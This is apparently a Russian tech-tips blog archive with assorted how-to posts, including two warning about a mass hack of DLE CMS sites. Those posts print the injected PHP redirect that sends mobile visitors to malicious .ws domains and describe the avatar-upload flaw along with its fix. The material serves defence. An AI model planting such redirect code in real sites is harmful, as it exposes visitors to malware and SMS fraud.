Home › Category Archives › Советы

Заряжаем внешнюю батарею YSD-998

Приобрел я вот такую батарею для питания различных устройств.

Выходное напряжение 12В, 9В и 5В

 

Инструкции по использованию у этой батареи нет.
Как же зарядить эту батарею?

Все очень просто.
1. Вставляем зарядной устройство в батарею разъем DC12V IN/OUT. 
2. Батарея должна быть включена.

3. Вставляем зарядной устройство в сеть 220В.

На зарядном устройстве должен гореть красный светодиод. И загорится зеленый он показывает, что зарядка началась.
Когда на зарядном устройстве зеленый светодиод погаснет — значит батарея заряжена.

В зарядном устройстве есть защита от перезарядки. Когда батарея заряжена, то зарядное отключается.

 

 

 

 

 

Как разобрать китайский эхолот Fish Finder

Есть такой простенький китайский эхолот Fish Finder. Он дешевый, но свою основную функцию — определение глубины водоема выполняет исправно.

Вот так случилось, что эхолот остался в лодке и пошел сильный дождь. Ну естественно он не просто промок, а пролежал несколько часов в луже воды, образовавшейся в лодке. При обнаружении сего безобразия срочно были вынуты четыре батарейки. При осмотре выяснилось, что рыба плавает прям на экране эхолота без питания. Он полностью набрал в корпус воды.

По приезду домой было решено разобрать эхолот и высушить. После долгих «ковыряний» удалось разгадать конструкцию корпуса эхолота. Приступим.

Чтобы разобрать китайский эхолот Fish Finder необходимо поддеть тонкой отверткой черное декоративное стекло и потихоньку приподнимая по периметру снять его. Стекло крепится на двухстороннем скотче.

Откручиваем шесть винтов и открываем эхолот.

Видим плату, которая крепиться еще пятью винтами, откручиваем и их.

 

 

Вот и все.

 

Кстати после просушки, установки батарей и включения, эхолот весело заработал, возродившись из пучины.

 

 

Решение проблемы с GPS на смартфоне JIAYU G3

 

После долгих песен с бубном(удаление файлов, многочисленные перезагрузки, скачивание данных EPO и прочего…. )
было решено поступить кардинально.

В моем случае после обновления данных EPO спутники выстраивались в ряд штук 12-14, но уровень от этих спутников был почти всегда 0. Один единственный раз, когда оставил телефон в машине на некоторое время он нашел и установил соединение с несколькими спутниками. Больше мне добиться подобного не удавалось.

Решил я проверить свою GPS антенну. Как не проверял контакта с общим проводом не было. Было решено заменить штатную антенну. Для этого необходимо снять заднюю внутреннюю крышку телефона.

на задней крышке есть контакт для GPS антенны

 

Я взял фольгу от недоеденного деда мороза
Вырезал в виде буквы Г, кончик должен быть тоньше, чем основание.
Кончик фольги вставляем в прорезь и загибаем поверх старого контакта.

 

 Вот здесь видно как вставлена новая «антенна»

Вид сбоку

 

 

Здесь оставшийся кончик сложен под 90 градусов и приклеен скотчем.

Ну а это результат.

Вообщем проблема в плохом качестве штатной GPS антенны.
Она может периодически не контачить или вообще не иметь контакта.
Видимо дело в плохом напылении токопроводящего слоя.

И еще:

Скрин с YGPS, уровень сигнала зависит от многих факторов. Эти скрины в пасмурную погоду, солнца нет.
У меня с родной антенной уровень сигнала по всем спутникам был 0
Антенна обязательно должна иметь контакт с платой! Фольга загибается и ложится поверх контактной площадки штатной антенны.

 

Размеры антенны: длина 21 мм и ширина 6 мм вырезал на «глаз», так как сразу заработало, то не стал ничего менять.

 

Вот тесты в машине и на открытой местности(было пасмурно) думаю, что точности достаточно вам же не ракеты запускать по цели.

 

 

 

Очередной взлом сайтов на DLE

Ну вот не прошло и нескольких дней как хакер(предположительно с Украины) продолжил свою деятельность по взому сайтов на DLE.

В этот раз встраиваемый код стал немного другим.
Перенаправление происходит на несколько сайтов:

statuses.ws
live-internet.ws
googlecount.ws
livecountall.ws
googleinternet.ws
yacounter.ws
getinternet.ws
yandex-google.ws
ya-googl.ws
ya-analytics.ws
yadirect.ws

На этих сайтах происходит перенаправление пользователей зашедших с некоторых мобильных устройств, не со всех.

Перенаправление происходит на СМС агрегатора, который внедряет в ваш телефон приложение или вынуждает отправить платное СМС.

 

На этот раз инфицируются следующие файлы:

/index.php
/engine/data/dbconfig.php
/engine/data/config.php
/engine/init.php
/engine/engine.php
/language/Russian/website.lng

При этом взломщик предусмотрел возможность апгрейта своего скрипта встраиванием шелл кода в файлы.

Будьте внимательны!

 

 

 

 

 

Взлом DLE загрузкой аватара с вредоносным кодом

Этот новый год начался забавно.
Много лет в известном всем движке CMS DLE существовала уязвимость и никто на нее не обращал внимание. Но вот в начале этого года примерно с 6 января, видимо устав от празднования Нового года, хакер под псевдонимом tehApocalypse взломал несколько десятков тысяч сайтов на CMS DLE.

Взлом заключался во внедрении кода в несколько файлов DLE для перенаправления посетителей зараженных сайтов на сайт злоумышленника.

index.php
engine/engine.php
engine/init.php
engine/data/config.php
engine/data/dbconfig.php

Перенаправление происходило только для пользователей сматфонов и прочих продвинутых телефонов.

$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}

Итак как же исправить эту уязвимость в DLE?

В нескольких файлах, в которых мы можем редактировать профиль пользователя и загружать аватар для этого пользователя есть такой код:

 

if( $thumb->size_auto( $user_group[$member_id['user_group']]['max_foto'] ) ) {
$thumb->jpeg_quality( $config['jpeg_quality'] );
$thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
} else {
@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
}

Так вот все дело в этой строчке

@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );

Т.е. если аватар не надо изменять по размеру то исходный инжектированный файл копируется в первоначальном виде для дальнейшего использования.

Необходимо преобразовать этот блок кода в новый:

$thumb->size_auto( $user_group[$member_id['user_group']]['max_foto'] );
$thumb->jpeg_quality( $config['jpeg_quality'] );
$thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );

После этого загрузить аватар с вредоносным кодом будет невозможно.
Файлы для редактирования:

engine/inc/editusers.php
engine/modules/register.php
engine/modules/profile.php

Удачи!

У вас тормозит Opera? «Тогда мы идем к вам!»

Вы долго работали в браузере Opera, вы делали несколько апгрейтов вашей Oper’ы, у вас тормозит ваша Opera?

Есть решение, которое ускорит ваш браузер Opera.

После длительной работы в браузере Опера накапливается большое количество иконок от различных сайтов.

Вы посетили сайт — Опера сохранила иконку этого сайта. И так происходит с каждым сайтом.

Все сохраненные иконки Опера складывает вот сюда:

C:\Documents and Settings\[Имя Вашего Профиля]\Local Settings\Application Data\Opera\Opera\icons

Поэтому заходим и удаляем все иконки расположенные по  этому пути.

У меня их было 16,5 тысяч 🙂

После удаления иконок перезапустите Оперу.

Естественно у вас пропадут иконки сайтов в избранном и на панели ссылок, но после посещения этих сайтов иконки обновятся и все будет по прежнему.

Удачной работы и серфинга!

SNMP различные интервалы обновления таблиц

Есть на свете такой интересный протокол SNMP для управления и снятия статистики для различных целей.
Так вот в различных реализациях этого протокола существует проблема с различным интервалом обновления таблиц со счетчиками.

Например в операционной системе CentOS интервал обновления счетчиков по сетевым интерфейсам равен 30 секундам. Поэтому снимать статистику с интервалом менее 30 секунд нет смысла — будете получать нули.

На других устройствах, например некоторые модели ADSL модемов, интервал обновления равен 15 секундам.

Решением этой проблемы может послужить метод изменения константы IFTABLE_CACHE_TIMEOUT

Для этого необходимо изменить значение nsCacheTimeout в памяти snmp демона

В зависимости от платформы решение может быть разное.

1. Linuxообразная система
выполняем такую команту(выделено синим)

# snmpset -c private -v 1 127.0.0.1 1.3.6.1.4.1.8072.1.5.3.1.2.1.3.6.1.2.1.2.2 i 5
NET-SNMP-AGENT-MIB::nsCacheTimeout.1.3.6.1.2.1.2.2 = INTEGER: 5

Естественно у вас должны быть права на запись.

2. На других платформах с настроенным SNMP Private доступом

Берем любой SNMP волкер с возможностью записи идем в ветку
1.3.6.1.4.1.8072.1.5.3.1.2.1.3.6.1.2.1.2.2
и меняем значение на 5

Таким образом счетчики будут обновляться через 5 секунд.

Проблема в том, что эти изменения будут работать до перезапуска демона/службы или до перезагрузки системы.
Дело в том, что для изменения этой константы необходимо перекомпилировать исходники SNMP демона, что на некоторых платформах затруднительно.

Ну и самое простое решение этой проблемы — изменить интервал снятия статистики 🙂

NET-SNMP-AGENT-MIB::nsCacheTimeout.1.3.6.1.2.1.2.2 = INTEGER: 5

Удаляем повторяющиеся строки в текстовом редакторе Notepad++

Необходимость удаления повторяющихся строк возникает при обрабротке больших текстовых документов.
Это простая, на первый взгляд, операция заставляет искать специальные решения в виде отдельных программ или использовать функции MS Exel по сортировке и выборке уникальных значений.

Но мы будем использовать бесплатный текстовый редактор Notepad++.

Делается это все в два клика.
1. Итак открываем ваш текстовый документ
2. Выделяем весь текст
3. Идем в меню TextFX -> TextFX Tools -> Sort lines case insensitive

При этом опция  «Sort outputs only UNIQUE lines» должна быть ВКЛЮЧЕНА

Вот и все — получаем отсортированные строки без повторов и дублей.

 

Если у вас этот плагин не установлен то делаем следующее:

Открываем:

Плагины -> Plugin Manager

На вкладке “Available” ставим галку на “TextFX Characters”
Нажимаем кнопку “Install”

Программа предложит перезапустится.
После перезапуска у вас появится дополнительная вкладка в меню от этого плагина.

Частота развертки современных телевизоров

Сравним две технологии для вывода изображения на экран телевизора 50Гц и 100 Гц.

 
Изображениеодного кадра по действующему стандарту телевещания передается в два приема: двумя полукадрами, через строку – сначала все нечетные строки, а во второй этап – все четные. Это называется чересстрочной разверткой. Полукадры передаются с частотой 50 Гц.

Примерно вот так

А это все вместе

Основные недостатки при выводе изображения с частотой развертки 50 Гц это  эффект «мерцания», кроме того и горизонтальные линии «дрожат» с частотой 25 Гц. Это особенно заметно при сравнении телевизора и монитара компьютера(у современных мониторов частота выше 60 Гц).
Эти недостатки тем заметнее, чем больше размер экрана Вашего телевизора.

Технология 100 Гц. – это цифровая технология, которая обеспечивает обновление экрана в 2 раза чаще, чем при 50 Гц-ой технологии, т.е. «полукадры» появляются в 2 раза чаще. Видеосигнал представленный в цифровой форме предоставляет гораздо более широкие возможности обработки, чем аналоговый. Например, можно запомнить представленный в цифровой форме кадр изображения и в нужное время воспроизвести его. Эта технология позволяет решить проблему мерцания изображения на экране. Дело в том, что при частоте смены полукадров (полей) 50 (60) Гц, мерцание изображения, особенно на ярких участках, все же остается заметным.
 
Все же эта система так же не лишена недостатков: при чередовании полукадров первый — первый — второй — второй, переход от нечетных к четным строкам происходит с прежней частотой 50 Гц. Это проявляется в дрожании верхних и нижних краев деталей изображения из-за чередования четных и нечетных строк.

Преодолеть этот недостаток позволяет усовершенствованная система, получившая название Digital Scan, в которой полукадры чередуются в последовательности первый — второй — первый — второй. В этом случае частота смены полукадров с четными и нечетными строками составляет уже 100 Гц, и дрожание становится практически незаметным.
Кроме того технология 100 Гц имеет несколько минусов, среди которых оцифровка изображения и цифровой шлейф при быстром передвижении объектов. Для лучшей передачи быстро меняющихся изображений в телевизорах с разверткой 100 Гц применяются специальные технологии цифровой обработки сигналов, такие как Digital Scan с функцией Natural Motion (Philips), Digital Plus (Sony), Digital Mastering и Intelligent Mastering (Thomson), Digital Scan и Super Digital Scan (Panasonic), Full Digital с системой DMI (Digital Motion Interpolation) (Loewe) и другие. В этих системах по специальному алгоритму происходит создание промежуточного кадра, который вставляется между теми кадрами, из которых он формируется. В результате быстро перемещающиеся объекты на экране выглядят более естественно. При этом следует отметить, что 100 Гц модели, не оснащенные этими технологиями, зачастую уступают по качеству изображения 50 Гц.